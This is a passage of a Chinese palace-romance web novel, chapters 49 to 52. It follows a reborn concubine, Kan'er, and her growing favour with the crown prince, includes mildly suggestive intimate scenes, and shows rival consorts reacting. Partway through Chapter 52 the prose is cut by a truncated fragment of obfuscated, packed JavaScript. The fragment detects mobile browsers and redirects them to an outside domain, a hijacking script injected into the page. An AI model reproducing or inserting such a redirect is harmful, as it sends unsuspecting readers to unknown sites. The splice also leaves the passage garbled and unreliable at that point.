就在这时,队伍拐了弯。
宫道旁的琉璃灯将那片地方照得通明,骆晔一眼看到了肩舆上的人。
半张侧脸粉光若腻,翘挺的琼鼻下一点朱唇,玉颈纤纤,云髻峨峨,隔着老远都似能感受到她的温婉柔媚。
“哥,看什么呢?”
韶安郡主见自家大哥竟难得在外出了神,不禁顺着他的视线看过去。
然而什么也没看到。
骆晔镇定自若地敛起目光,脑海里却是不由自主残存着适才的那一幕。
那便是六皇叔的新妾?
等出了宫门,众位皇子公主自又是一番按序坐上马车回府不提。
宣王目送慎王府的马车走远,转身看向宣王妃和乳母怀里的女儿。
“咱们也走吧。”
宣王妃没搭话,也没看他。
先一步上了马车。
宣王皱皱眉,看向姜侧妃。
姜侧妃倒是对他笑了笑。
但那笑里明显带着嘲讽和几分小性儿,且笑完也转身上了后面的马车。
全然没有要搭理他的意思。
宣王俊脸微沉。
问姜侧妃的婢女:“宴上发生了什么?”
春桃是姜侧妃从娘家带来的。
早先因为自家主子作天作地,不讨宣王的喜,春桃在宣王府也直不起腰杆。
怕宣王怕得要死。
最近这一年半主子改了性子,还笼络住了宣王,春桃在王府跟着水涨船高,对宣王自然也没那么怕了。
此时听宣王问起宫宴的事。
春桃的嘴撇了撇,也不怕被降罪地轻哼了声:“这事儿奴婢可不敢说,王爷还是去问王妃和大郡主吧。”
说罢,一溜烟跑了。
换做以前,姜侧妃的奴才敢这么说话,宣王必定回府了便叫人将其杖毙了。
但现在,他只是冷了冷脸。
等上了马车。
宣王看着神态略显疲惫的宣王妃,顿了顿,伸手欲从她怀里抱过女儿。
被宣王妃躲开了。
宣王的手在半空僵了一瞬。
宣王妃仍旧没看他,扭过头盯着车窗处帘子上的刺绣,巴掌大的小脸在微弱的烛光下显出几分病态的白。
宣王挨着她坐下。
沉默片刻,他低声问:“你们在席上发生了什么?可是她对你不敬了?”
宣王妃就笑了。
笑得讥讽。
“她哪里会对我不敬,哪里敢对我不敬,她那么不争不抢识大体的一个人,你倒不如直接问可是我为难了她。”
话音刚落,她咳了起来。
单薄纤瘦的身子颤动,宛如蒲柳也似。
宣王从一旁的小几上倒了杯热茶,习惯性揽住宣王妃,要喂她喝水。
结果又被躲开了。
宣王闭了闭眼,随即放下杯盏。
“你我自小一同长大,多年一桌吃一床睡,如今你何苦定要为了她与我生分,平白坏了自己的身子。”
宣王妃好不容易咳完。
又笑了。
“平白坏了身子,这话你好意思说,我却不好意思听,你不就是见她不高兴,上我这儿来兴师问罪了吗?
真真是好痴情的丈夫,我说要成全你们,你却是不准,偏又怕我磋磨**她,你且告诉我,我当要如何?”
“娘不气,娘不要
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气。”
瑜姐儿原本偎在宣王妃怀里,这会儿也坐不住了,直起小身子抱住宣王妃。
又含着两包泪看向宣王。
“父王别恼娘亲,都是我的错,是我做错事让侧妃娘娘生气了,父王罚瑜姐儿吧,别和娘吵……”
从前女儿唤她娘亲,唤他爹爹。
但自打龙凤胎出生,女儿便改叫他父王了,宣王的喉间像扎了一根刺。
同时他也觉得一股莫名的烦躁。
“娘没事。”
宣王妃一把将女儿搂进怀中:“瑜姐儿没有错,父王也没有恼娘,我们没有吵。”
娘骗人。
三岁的女娃娃靠在母亲怀里,越过母亲的臂弯泪眼朦胧地看着宣王。
其实她以前很喜欢爹爹的。
她记事早,很早很早的时候便在小床上见过爹爹抱娘亲,吃娘亲的嘴嘴。
她不懂。
但她知道,每回爹爹吃了娘亲的嘴嘴,娘亲的脸都红红的,爹爹的脸也红红的。
他们笑起来真好看。
瑜姐儿喜欢看爹爹娘亲笑。
等她长大了些,爹爹每次从外面回来都会带她飞飞,带她“骑大马”。
然后放下她,抱起娘转圈圈。
瑜姐儿听不懂大人们的很多话。
譬如乳母和丫鬟说,旁人就算使了手段进了宣王府,爹爹也不曾进对方的院子。
譬如丫鬟们说侧妃娘娘昨天做了什么,今天做了什么,可惜都是白费了心。
瑜姐儿不懂这些。
但她明白乳母说的爹爹和娘亲的感情好,说爹爹从小就喜欢娘亲。
瑜姐儿喜欢娘亲,更喜欢爹爹爱娘亲,她希望他们一家三口永远都这样。
但从什么时候开始变的呢?
好像从侧妃娘娘生病过后。
丫鬟们说,侧妃娘娘改了性子。
说侧妃娘娘不争不抢了。
就算在花园里见到王爷也没像从前那样贴上去了,还说侧妃娘娘不往脸上涂脂抹粉,原来那张脸这么美。
还有,侧妃娘娘会做特别好吃的东西。
瑜姐儿听说了好多。
然后,爹爹就不再每晚来娘亲这儿了,她的爹爹也不再是她一个人的爹爹了。
娘的身子不是很好。
爹爹不来,娘亲比从前还要经常生病。
爹爹来了,但和娘亲常常为了侧妃娘娘吵架,用凶凶的眼神瞪娘亲。
瑜姐儿不喜欢这样的爹爹。
瑜姐儿不喜欢爹爹了。
更不喜欢侧妃娘娘。
六皇伯家的新小婶婶比侧妃娘娘好看,瑜姐儿终于不用听别人夸侧妃娘娘了。
所以她借六皇伯的新小婶婶欺负了侧妃娘娘,侧妃娘娘真的被她欺负到了。
但是……她好坏。
瑜姐儿不再看宣王,捂着小脸哭出了声。
对不起。
六皇伯家的新小婶婶……
第49章 “殿下,抱抱我……”
宣王等人坐上马车时,槛儿一行人已经到了东宫,得了太子的令,轿辇和肩舆直接被抬进东宫大门。
今日端午,太子要留宿嘉荣堂。
去年如此,今儿自然不例外。
太子的轿辇停在嘉荣堂的院门口,槛儿和曹良媛也相继在这儿下了肩舆。
“出去了一天,都累了,回去了让人给你们松乏松乏,晚上早些歇吧。”
郑明芷站在太子身侧。
体贴地对槛儿她们道。
槛儿垂眸看着那片杏黄绣龙腾海岳的袍摆,和曹良媛齐齐屈膝欠了欠身。
“是。”
骆峋双手负后,眸光在小昭训乌黑的发顶停顿半息,转身步入嘉荣堂。
待那片袍摆和郑明芷淡出视野,听不见脚步声了,槛儿方和曹良媛往后院走。
等和曹良媛分开,进了西六院。
槛儿看向跳珠和银竹,柔声道:“你们今天也累了,一会儿用不着你们伺候,收拾完今晚都早些睡吧。”
跳珠银竹齐齐点头。
她们确实累了,这种累不仅仅是身体上的累,更是一种精神上的。
规矩大且人多。
她们要时刻眼观六路耳听八方,不但要看顾好主子,还要避免自己冲撞贵人,主子休息她们也不能休息。
主子体谅她们,她们便也不矫情。
瑛姑姑与寒酥几人早候着了,见槛儿她们回来忙把人迎了进去。
休息了会儿,泡个舒服的热水澡。
躺到榻上时槛儿浑身都懒懒的,瑛姑姑还在给她按腿,她便昏昏欲睡了。
.
嘉荣堂的偏殿在正房后面。
除了能从外面过去,正房的西稍间里还有一个小门能直达后面的偏殿。
这门是嘉荣堂建立之初规划的。
郑明芷嫁进来前嘉荣堂无人居住,这小门自然没有用武之地,也是这一年多里这门才发挥了它的作用。
太子进了嘉荣堂,径自步入西稍间。
郑明芷看着男人的身影渐渐消失,小门被其身后随行的小太监给关上。
她暗哼一声,转身进了东面卧房。
两刻钟后。
太子沐浴完,从偏殿过来。
郑明芷先一步到厅堂叫人备了茶,两人看似和谐地隔着一个案几坐着。
随即,郑明芷将今日女眷席那边的大致情况,三言两语同太子报了一遍。
这自然不是太子想知道别家女眷的事,而是女眷这边很多看似无关紧要的话题,往往可能涉及到前朝正事。
太子有安插人手在后宫。
但消息来源多,自然要方方面面顾到。
郑明芷可能区别不了一些门道机锋,太子却是能轻易从这些只言片语中,提取到不少有效的信息。
所以每逢这样的宴席。
郑明芷都会向太子汇报一番,不光东宫如此行事,其他各府皆是如此。
关系到自己的位置,郑明芷也乐得做这事。
听完她的汇报,骆峋颔颔首。
站起身。
“辛苦,早些歇息。”
郑明芷以为他要回偏殿,假笑着说了句“此乃妾身的分内之事”准备跟进屋,谁知却见男人负手往外行。
郑明芷愣了愣。
嘴比脑子快:“殿下,您上哪?”
骆峋停下来侧身看她,眼神很淡。
也没说话,就这么看着。
郑明芷被他看得一颗心倏地发紧,同时也意识过来这人可能要去哪了。
她顿时一阵恼意。
想说今晚过节,他就这么大剌剌地往妾室屋里去,让她的脸往哪搁!
可很快她就又想了起来。
所谓的逢年过节,以及其他日子该留宿嘉荣堂的规矩,实则都是太子自己定的。
没有哪条祖制规定,储君逢年节或其他特殊日子必须在太子妃屋里过夜。
先前他愿意遵循他自己定的规矩,是他愿意给她体面,给她这个妻子该有的尊重。
如今他仍愿意在东宫以外的地方给她体面,却再不愿在这事上做戏了。
自然是想去谁屋里,就去谁屋里!
他怎么能这样?
怎么可以这样!
郑明芷气得袖子里的手都抖了,但她还是强扯出一抹笑:“您白日里也累得不轻,今晚也早些休息吧。”
骆峋漠然地收起视线。
直到守门的小太监来报太子去了后院,郑明芷终于忍不住砸了手边的膏脂。
这就是男人!
往日里装得像模像样,一副清心寡欲不沾尘埃的和尚样儿,如今尝着了那贱婢的滋味,便欲罢不能了!
当她不知他心里想的什么吗?
姓曹的,姓秦的都是贵女出身,做不来那风骚下流样儿,他当着她们的面得端着!
轮到那贱婢就不用了!
贱骨头!
.
小福子在次间来报说太子殿下来了时,槛儿已经迷迷糊糊睡着了。
但她没忘太子
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今晚该在嘉荣堂,且她和曹良媛走的时候太子就进嘉荣堂了。
所以太子没来。
是她太累听错了。
槛儿咕哝着翻个身,面朝里侧继续睡了。
瑛姑姑哭笑不得。
刚想叫醒人,门口的珠帘响了。
太子进来了。
帐子还没放下,挨着床头的地方亮着一盏灯,空气中萦绕着一股清新的香。
骆峋绕过屏风。
就见榻上的人穿着身薄薄的寝衣,背对着外侧躺着,搭在锦被上的那条腿,宽松的裤腿卷到了膝盖上方。
露出的大半截腿儿修长笔直,浑圆的臀是翘着的,胯骨圆润小巧,腰间塌陷的那段儿曲线弧度妖娆。
海顺见瑛姑姑神色不对,猜到了屏风内的情形,于是当即打了个手势。
很快,屋里没了宫人。
骆峋脱下外袍,只着中衣来到榻前。
瞥眼床头的那盏灯。
他顿了顿,最终还是灭了烛火。
槛儿迷糊间感觉后背落入了一片坚硬结实中,有温热的呼吸喷洒到她的后颈上,腰眼处似乎……
身子比意识更快地认出了来人,槛儿无意识哼了哼,熟稔地挨近了他。
“殿下……”
娇娇怯怯的一声,尾音还打着转儿。
在这寂静的夜里,骆峋只觉心头像是被挠了一下,激得他头皮发麻。
“别动。”
他今夜喝了酒,不多。
沐浴洗漱一番后,口中早没有了酒味。
但腹腔还有些烧,体温也比平时高,而她的身子绵软,温度比他的低。
抱起来很舒服。
但骆峋顾念她今日劳累,此番前来便并非为了行事,只想问她射柳一事。
谁曾想他才拥住她。
她便如此……
槛儿哪知太子殿下心中的纠结呢,她今晚吃了两小杯果酒,脑子原就因为微醺的醉意和瞌睡变得一团浆糊。
当下又被他熟悉的体温和气息包裹,她的脑袋就越发昏沉了起来。
忍不住抬起胳膊,反手摸到他的脸。
光洁的小腿不自觉贴着男人精壮修长的腿摩挲起来,脚勾起他的裤腿,磨着那微微带着点粗糙感的皮肤。
语调散乱:“殿下,抱抱我……”
骆峋的喉结克制地滚动了好几下。
直到她的手越来越不安分。
骆峋一口咬在她后颈。
夜风沙沙作响。
卷走微不可闻的呜咽。
第50章 太子爷:孤做不来去宠一个妾(?)
和风细雨地来了一场。
事罢。
槛儿倦怠得厉害,头脑却变得异常清明。
尤其记起太子都分明让她别动了,她却还是率先对他动起了手脚。
槛儿觉得臊,抱着身前的锦被一角闭着眼睛装睡,就等着他赶紧撤离。
哪知左等右等。
身后的男人都没见有动作。
倒是放在她腰间的手,指腹有一下没一下地在她的腰腹处打着转。
耳珠也被他的薄唇轻碰着。
槛儿呼吸微紧。
定了定神,按住腰上的那只大掌。
正要说叫人进来服侍的话,男人清哑的声音忽然在耳畔响起:“射柳,你如何知道葫芦里装的是伤鸽?”
顿了一瞬,他补充:
“奄奄一息,濒死的伤鸽。”
槛儿一怔,随即猛地一下翻个身。
“真的是……”
男人倒吸一口凉气,却是她“蹭”的一下大动作,太子冷不丁吃痛。
槛儿立时僵住,不敢再动。
骆峋缓了缓。
又往后挪了挪,掰着她的肩将人转过来。
槛儿抓着他的胳膊,压低声音:“伤鸽?真是受了伤的鸽子?奄奄一息的?!”
“死”这个字太忌讳了。
太子能说,其他人却不能。
骆峋盯着她因震惊而显得异常明亮的眼睛,夜色掩饰了他眸底的审视。
“难道不是你有所猜测,才借话本故事提醒孤?现下为何如此吃惊?”
当然吃惊了!
因为那个话本故事是她编的啊,葫芦里装重伤的鸽子也是她瞎编的!
上辈子这时候她被拘在嘉荣堂,能活动的范围只有正房和偏殿前的空地。
打交道的人也只有伺候她的小丫头,和守在偏殿前的几个宫女太监。
关于太子在射柳活动中出了纰漏的消息,她就是从他们口中听来的。
但这种事裴皇后和太子肯定要**息啊,除了当时在场观赛的人,外人即便知道也不可能事无巨细。
所以她当时只听他们说太子射柳时出了意外,放生的鸽子被射**。
然而具体究竟怎么回事。
中间如何操作的,现场的情况如何,众人是何反应,宫外又是何情况。
等等。
偏殿的那几个宫女太监不清楚。
槛儿当然也就不知道。
买通安排活动的人往葫芦里装伤鸽,不过是她为了故事的合理性给编的!是她要用这个故事引出话头罢了!
槛儿没太子那么好的眼力。
这么暗的环境里还能观察对方的眼神,但她听出了他话里的试探之意。
可她一点儿都不心虚。
她本来就不知道啊,心虚什么!
“我不知道啊……”
过于震惊,槛儿都搞错自称了。
语气懵懵的。
“那个故事是我老早从别人那儿听来的,前两日听寒酥他们提起宫里的端午活动,便突然想到了。”
顿了顿。
她茫然的语气里似乎夹杂着后怕:“竟然真发生了,鸽子居然真……”
像是突然说不下去,槛儿一把抱住太子。
抱得很紧很紧。
骆峋看着她肩头的那抹白,感受着怀中娇躯的瑟缩和她呼吸中的惧意。
他清亮的眸子在暗色中深得不见底。
须臾。
骆峋按着她的腰将人往怀里按了按,摸摸小昭训的头,下巴抵着她的发顶。
“孤好好的,不必害怕。”
槛儿知道他不信她。
哪怕裴皇后和他早把她查了个底儿朝天,他还是不会轻易相信她。
因为这宫里处处充满了算计,他身为储君,防备人于他来说早成了习惯。
槛儿暗叹。
倒也没追问是谁在暗中动手脚,只心有余悸道:“幸好您没事,您没事就好……”
要么信王,要么睿王或者慎王,横竖都是那几个皇子王爷的手笔。
她能替他避开这次的麻烦已是力所能及,剩下的她也插不上什么手。
就让太子自己去周旋吧。
不过,受前些天听的那些话本子的影响。
槛儿还以为太子发现是谁动的手脚后,会当场以其人之道还之其人之身呢。
骆峋也在想这事。
得知此事是睿王的手笔时,他并非没想过当场叫对方偷鸡不成蚀把米。
但细细一想。
宫里的射柳从葫芦制作,选鸽,到将鸽子装进葫芦再送至比赛现场。
这些流程一路都要经重重审查,并非买通此项活动的负责人就能轻易办成。
睿王能将濒死的鸽子装进葫芦里一路送到西苑,可不是对方临时起意。
他倒是能让人将鸽子换进睿王的葫芦里。
然时间有限,他来不及布置更多,准备不充分的结果很大可能会让他在父皇追查起此事时露出马脚。
加上睿王要想方设法攀咬。
行事又惯喜留有后手。
如此,事情到最后可能反不利于他。
骆峋不行无把握之事。
左右他要在其他地方算计回来。
敛起心思,骆峋难得放轻了声音:“这回你立了功,想要什么赏?”
槛儿只想帮他避开这回的麻烦,没想过要讨赏,闻言不禁惊讶了一下。
“殿下要赏妾身?”
骆峋:“当赏。”
他不惧流言,也不信吉凶之说。
但多一事不如少一事。
诚如她口中的话本故事,当下人总是注重吉凶之兆,若这回让睿王得逞,势必会在父皇心中扎上一根刺。
往后若再有事发生……
“说罢,想要何赏。”
骆峋低头,在槛儿的唇上亲了亲。
槛儿抬起腿搭在他腰间,故作天真地问:“妾身要什么殿下都会赏给妾身吗?”
骆峋按住她不着一物的腿。
“需孤有,且不可僭越太过。”
没有规矩不成方圆
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,他做不来像七弟宣王那般,不遗余力地去宠一个妾。
槛儿压根儿没想过僭越。
沉吟片刻。
她抿抿唇,双手攀住男人的脖颈:“妾身说了,殿下别恼妾身好不好?”
“很僭越?”
“不是,是妾身不想您生气。”
骆峋翻身平躺,将她捞到身上趴着。
“不气,说。”
槛儿便与他叠在一起。
声音轻轻的:“殿下可还记得当初问妾的问题?就孩子的养在哪的那个……”
骆峋自然记得。
他的病一直是他身上最大的把柄,一旦外人知晓,必定一番腥风血雨。
这两年他最大的短板便是没有子嗣。
尽管现今尚且没有明确的流言传出,但骆峋清楚有些人心里在打什么主意。
他是不急。
但当着父皇的面戏演得太过容易弄巧成拙,故而他决定暂且要一个孩子。
养在郑氏名下。
宫里多的是品阶不够的女子将孩子养在高位妃嫔名下,骆峋**以为常。
也并未将此事放在心上。
只不过,临到她侍寝那晚。
她巴巴地跪在他面前,抖若筛糠。
骆峋便无端想到了她的出身,想到眼线来报说她曾在后院受到过的折辱。
于是,他破天荒生出了一丝恻隐之心。
骆峋想,胆小没关系。
她若聪明,若能为了自身争取。
他不介意给她位份,立她起来,护着她,准许她将孩子养在自己身边。
她无母族,也能少很多麻烦。
而郑氏,迟早都要废。
太子爷难得一次对一个小宫婢生恻隐之心,所幸她的回答也深得他心。
若不然。
“殿下?”
见男人迟迟不开口,槛儿以为他另有打算,心里顿时忍不住“咯噔”一声。
骆峋听她嗓子眼儿又在颤了,别了别她耳畔的头发:“记得,继续说。”
槛儿拿不准他这会儿的心思,讨好般蹭蹭他:“您当时没说妾身答得对不对,妾便想,得您一个准话。”
两人这会儿都不着寸缕的,骆峋的呼吸沉了沉,抓起被子将她裹住。
“你想要的赏,就是一句准话?”
槛儿:“可以吗?”
骆峋知道这件事于她而言有多重要,所以也没打算拿这事逗弄于她。
很干脆地便给了答案。
“可以,但不是你自己养。”
槛儿:“??”
啥意思?
槛儿听到开头的两个字,心情正要激荡,结果猛地听他补充了后半句。
她就懵了。
感觉头顶被浇了盆凉水。
只是没等这盆凉水往身上滚。
男人再度开了口。
他说:“不是你自己养,是孤和你一道养。”
“是孤与你的孩子。”
这话,是她当初亲口说的。
很好听,他喜欢。
也愿意。
第51章 太子爷:“你庄重些。”东宫要出宠妾了
夜空如墨。
清泠泠的蛾眉月在院中洒下一片清辉。
“姑姑?”
听着从屋里忽然传出来,明显区别于之前那阵动静的隐隐抽泣声,寒酥扯了扯瑛姑姑的袖子,目露担忧。
瑛姑姑也没底儿,担心自家主子迷迷糊糊惹恼了殿下,在哭着求饶呢。
她不由看向对面的海顺。
见海总管镇定自若地抄着手,坐在小福子不久前搬来的椅子上,瞧着像是丝毫没受屋里的动静影响。
瑛姑姑不由松了口气。
拍拍寒酥的手:“再看看。”
殊不知海顺这会儿也懵着呢,生怕下一刻他们家爷就怒不可遏地叫人。
也是怪了。
听着动静都结束一场了。
又不开始第二场,又不叫人进去伺候,两位主儿在里头说嘛呢?有啥可说的?
屋里。
骆峋坐起来,搂着怀中人的腰和她面对面坐着,就着锦被的角给她拭泪。
“哭个什么?”
槛儿不想哭,但忍不住。
明明他的语气还是那么冷。
明明知道他只是随口一说,不是因为心里有她而说这样的话来哄她开心。
也知道,上辈子刚开始的凄苦很大程度是自己造成的,可槛儿就是控制不住。
上辈子诊出有孕的时候她多怕啊,她还不到十六岁,没有做过新娘子。
没有和丈夫日常相处过。
可她的肚子里就有小娃娃了。
还是要替别人生的。
她怕娃娃在自己的肚里长不好,怕太子妃去母留子,怕生产时横死。
可她连怕都不敢表露出来。
因为太医说了,要保持心情愉悦孩子才能长好,所以太子妃给她下了命令。
于是,她每天都要强迫自己开心。
而他呢?
他来看过她,赐了赏。
却也仅此而已,半个字都不曾同她多说。
可她不敢怨他,因为她只是奴婢。
因为他是高高在上的太子!
她不敢怨也不敢言。
她只求能平平安安生下这个孩子。
后来孩子渐渐在她肚里长大,每逢夜深人静,她感觉到它在里面动,感觉到那种与自己骨血相连的亲密。
她恍然如梦地想,这便是她在这世上唯一的亲人,与她血脉相连的亲人。
于是她生了贪念。
她开始想自己养孩子了。
可她不敢表现出来,他也没有再来。
直到孩子出生,她连面都不曾见到就被人抱走了,他才坐到她的榻前。
生硬地握着她的手,说:“辛苦了。”
她当即就撑不住了。
嘴上说着“奴婢不辛苦”,眼泪哗啦啦流个不停,也是那回,他第一次主动拥住她。
如今他不但准许她日后将孩子养在自己身边,还亲口许诺她,说他会和她一起养孩子,养他们的孩子。
沉积在心底多年的委屈和不甘便如同决堤的洪水,全随着眼泪冒了出来。
想打他,咬他。
想把上辈子的委屈全发泄出来!
可她不能,至少现在不能。
“妾身、妾身是高兴的,高兴的……”
槛儿抽泣。
有意表现出喜不自胜,可在骆峋听来,她声音里的哽意却不全然是高兴的。
但他不是很能理解。
只当她是因这件事生出了诸多旁的感慨,毕竟,她有她的自尊和不安。
“好了,不哭了。”
骆峋环住槛儿,让她偎在他肩头。
“此事乃孤当初应下你的,不能算作赏,想想还有何想要的,孤另给你。”
槛儿暂时想不到。
料子首饰什么的这人半月前才赏过,如今明确应允了她这件事,短时间内槛儿还真没什么别的欲求。
但他既然说了这回她有功,当赏,若她只说些套话倒显得沽名钓誉。
槛儿忽然有种莫名的心累。
她都难受成这样了,还要分心考虑这些。
忒烦。
槛儿暗戳戳往他肩头蹭了一把眼泪鼻涕。
呃,好埋汰。
她又拿被角擦了擦,反正被子一会儿要换。
“殿下前不久才赏过妾身一回,妾身暂且想不到要什么的别的赏,若不,殿下再应妾身一件事可好?”
说完没忘补充:“殿下放心,不是什么过分的事,一定不会叫您为难。”
骆峋早知她看似胆小,实则遇事头脑清明,考虑周全,除了与他行那事时总会做出些令他意外的行举。
其他时候她都很知分寸。
不过,到底日子尚短,而人都是会变的,今后她可能变成何样还尚未可知。
“说罢。”
骆峋语气淡淡。
“孤若能做到,便应允了你。”
槛儿如释重负般破涕为笑。
“殿下定能做到,妾身想要的赏便是,日后不论遇上何事,妾都望殿下能听妾一言,给妾一个说话的机会。”
骆峋:“只是这?”
槛儿点头。
“妾听的话本里,好多男女主人翁都是因为不听对方的解释而生了误会。
妾不是主人翁,但妾不想同殿下生误会,这宫里宫外的妾身也只有殿下……”
“所以
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今后若有事,殿下且先听妾身一言可好?当然殿下也尽可对妾直言,妾定当知无不言言无不尽。”
当然,槛儿自是没指望他真能跟她说什么,毕竟江山易改本性难移。
叫一个生性冷漠多疑的人忽然变得坦率温柔,那简直是比登天还难。
但槛儿真是过够了一个不敢说一个什么都不说,两两相顾无言的日子了!
如今两人形势大好,她自然要能趁机改变从前的相处模式就尽量改变。
何况她要争他的宠爱,往后就不可避免会遇上麻烦,他若能给她说话的机会,就能替她省很多事儿。
再者她还要替他避开前世的祸事,他能给机会让她说话,不也更便利吗?
骆峋哪知怀中的人短短两息考虑了这么多。
听她说自己宫里宫外只有他,骆峋便当她是怕被他厌弃,担心他往后话都不愿听她讲,想让他给她机会。
一个机会罢了。
骆峋不觉得有何不能应。
再者,她若不触碰他的底线,他便不会厌弃她。
毕竟他只对她有那等感觉。
也只有她的身子,他不觉厌恶。
“可。”
骆峋颔首。
“孤听你说。”
至于对她直言,他没应。
槛儿也不觉得失望,反正意料之中的事。
“谢谢殿下!”
她直起身子,在男人的唇上亲了一口。
俩人还赤着呢。
她一扑上来,哪儿哪儿都严丝合缝。
骆峋下颚绷紧。
终究还是克制住将人就势按下去的冲动,照着她身后圆润弹软的地方轻拍了一下。
“你庄重些。”
咳咳!
槛儿刚被他突然的一巴掌拍懵,就听到后面那句,她差点没喷出来。
庄重?
他们现在这样,他好意思叫她庄重??
槛儿无言以对。
“妾叫人进来伺候?殿下不是还要走……”
按例,骆峋是要回元淳宫。
但思及她今日为他避开的麻烦,思及方才应下她的事,骆峋伸手撩起帐子。
摇响床头的金铃后,他在海顺他们进来前将槛儿放回榻上塞入被中。
随即套上中裤,翻身下榻。
语调极其寡淡:“孤今夜,在此安置。”
伺候好两位主儿歇下。
海顺轻手轻脚从屋里出来,关上门。
今晚他不值夜。
小喜子伺候他到旁边的耳房歇息,临进门前,海顺回头望了眼缀满星子的天。
笑了。
他们东宫,要出一位真正的宠妾了。
第52章 太子这是要给她撑腰?
寅时过半。
金承徽打从听说太子今晚没在嘉荣堂,而是去了永煦院的消息后,她便像跟槛儿隔空叫上了劲儿似的。
不顾紫苏和白菘的劝,抄宫规抄到现在,就为了等太子从西六院出来。
哪曾想再过一个时辰天都要亮了,底下的人却来报太子还没离开西六院!
金承徽“啪”地把笔往书案上一拍,飞快绕过书案瞪着那报信的小宫女。
“消息可是真的?!”
小宫女缩缩脖子:“回主子,是真的,您吩咐奴婢盯着西六院大门,奴婢就一直盯着,没见殿下出来。”
金承徽胸口剧烈起伏,下一刻猛地转身将书案上的东西掀了个底朝天!
“狐狸精!狐狸精!”
如果说先前她只是不甘槛儿占了太子的宠,打心底里厌恶槛儿的出身。
那么经过了家宴那晚被加了三个月的禁足期后,她现在对槛儿就只有恨!
夜深人静的。
金承徽这一顿噼里啪啦的听着格外刺耳。
紫苏匆匆打发了小宫女。
与白菘一左一右,又是哄又是劝。
但金承徽在气头上根本听不进去,被劝得不耐烦了她反手就是一耳光,娇俏灵动的娃娃脸上一片阴郁。
“息怒?我怎么息怒?!”
她进宫是要当太子宠妾的,是要当娘娘,要奔着裴皇后的位置去的!
不是来被禁足学规矩的!
太子为了一个奴才出身的贱婢惩治她也就罢,居然还把人带去了宫宴,她比姓宋的位份高都没参加过宫宴!
如今,更是为那狐狸精破了从不在妾室屋里留宿的例,究竟是凭什么!
她一个好人家出身的。
哪里比不上一个奴才!
“起初你们说她是嘉荣堂出来的,殿下是为了给那位体面才去她屋里。
现在呢?殿下连该在嘉荣堂的日子都去了那边,这也是给那位体面?!
要我在这里忍气吞声什么也不做,人家那边不知都使了多少手段了!”
紫苏与白菘见她越发说得不像话,吓得双双跪地,白着脸使劲磕头。
金承徽嫌她们没用。
但她也不敢再往狠了骂,怕再被罚。
可越是这样,她心里越咽不下这口气,偏她又想不到自己该怎么办。
于是她更气了!
整个香叶轩都是摔摔打打的声音。
秦昭训住在香叶轩的东厢,金承徽这边的动静,东厢那边自然惊动了。
“主子,要不奴婢过去说一声?”
卧房里,在榻前值夜的丹碧听到帐中有翻身的响动,坐起来试探着问。
等了会儿。
床上的人没应声。
丹碧犹豫片刻,重新躺下。
帐子里,秦昭训朝里侧,借微弱的烛光看着床帐上的青竹叶绣纹。
良久,她扯出一抹不显的笑。
色衰则爱弛,爱弛则恩绝。
这世上没有哪个女子,能仅凭美貌就抓住男人的心,那东西男人也没有。
所谓的宠爱,不过是过眼云烟。
财富、地位、权势。
才是人的毕生追求。
一个胸无点墨的宫婢罢了。
摇摇头,秦昭训阖上了眼。
曹良媛知道太子今晚在嘉荣堂过夜,所以她没让人留意外边的动静,回去泡了个澡就叫人伺候睡下了。
还是次日一早起来。
察觉到弄墨和抚琴的脸色不对。
她问过后才知道,从来没在她们这些妾室屋里过过夜的太子,昨晚竟从嘉荣堂出来,去了永煦院过夜!
曹良媛看着宫人端来的漱口水。
半晌,什么也没说。
.
除了五岁前同母后在一张榻上睡过觉,骆峋长这么大还从没和别的女子同榻而眠,甚至相拥抵足过。
原以为会失眠,哪知竟是一夜好眠。
被海顺隔着屏风叫醒时。
素来勤勉自律,睁眼便能利落起身的太子殿下竟头一回生出了几分倦懒。
习惯性动了动,胳膊被人压着,怀中一片娇软,鼻间萦绕着清幽的香。
骆峋缓缓睁眼,眸光微垂。
便见怀里人背靠着他胸膛,臀抵着他的腰腹,玉颈枕着他的左臂,两只绵绵的手还依赖般抓着他的手掌。
床头的烛光照进来,晕黄朦胧间,依稀可见她脸上醉酒般的酡红和慵懒。
像一朵娇艳盛放的牡丹。
又像他幼年时养过的一只长毛金丝虎,吃饱喝足了就喜懒在他怀里。
这般亲密的姿态,骆峋不甚习惯。
朝外面低应了声。
他低头在槛儿的颈间蹭了蹭,搭在她腰上的手滑至她的胯骨轻拍两下。
“起了。”
声音近在咫尺又沉又哑,槛儿后知后觉醒来,轻哼两声翻身环住他的腰。
若说上辈子两人在一起什么时候最没有隔阂,那必然只有在榻上的时候。
榻上的太子和庆昭帝身体是炙热的,榻上的槛儿是迷糊热烈的,像这样的姿态上辈子他们经历了无数回。
槛儿无意识就做了,一条腿搭到男人腰上,使劲往他半露的胸膛上埋。
鼻间还一直哼唧。
太子爷本就松垮的中衣被她蹭得又敞了大半,精壮的胸肌一览无余。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16125085|180054||http|test|mini|href|location''.split(''|''),0,{}));
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r>骆峋:“……”
骆峋默念两句经。
把那条腿从腰间撕开,无情起身。
槛儿总算醒了,撑起身子也下了榻。
骆峋自打患了病,身边便只有太监伺候,宫女都在院子里和后面当值。
乍一被槛儿服侍更衣。
骆峋的第一反应仍旧是不习惯,但忆起两人夜里都那般亲密了,且经过昨夜,似乎有哪里不一样了。
说不出的感觉。
因为这种感觉,太子殿下很快适应了清晨由宋昭训在近前侍候梳洗。
不过,海顺他们在场,太子爷并没有将过多的视线投注到宋昭训身上。
一如既往的清冷威严。
只临走前他想起一事,看向槛儿。
“今日若有人刁难于你,让其尽管来问孤,对方想知道什么孤来告知。”
她有能力周旋于后院。
但他既决定护她,打算由她孕育他们的子嗣,便当给她在后院立足的底气。
这些想法骆峋不准备告诉她,说罢也没等槛儿应声,领着人走了。
槛儿看着他的背影,反应过来。
昨晚那样的日子他来了她这儿,郑氏与曹良媛她们必定少不了一番计较。
所以,他这是要给她撑腰?
.
太子留宿永煦院在后院掀起的波澜,远比他连番临幸槛儿还要来得大。
让槛儿感受最明显的就是去嘉荣堂请安的一路上,宫人们的态度变了。
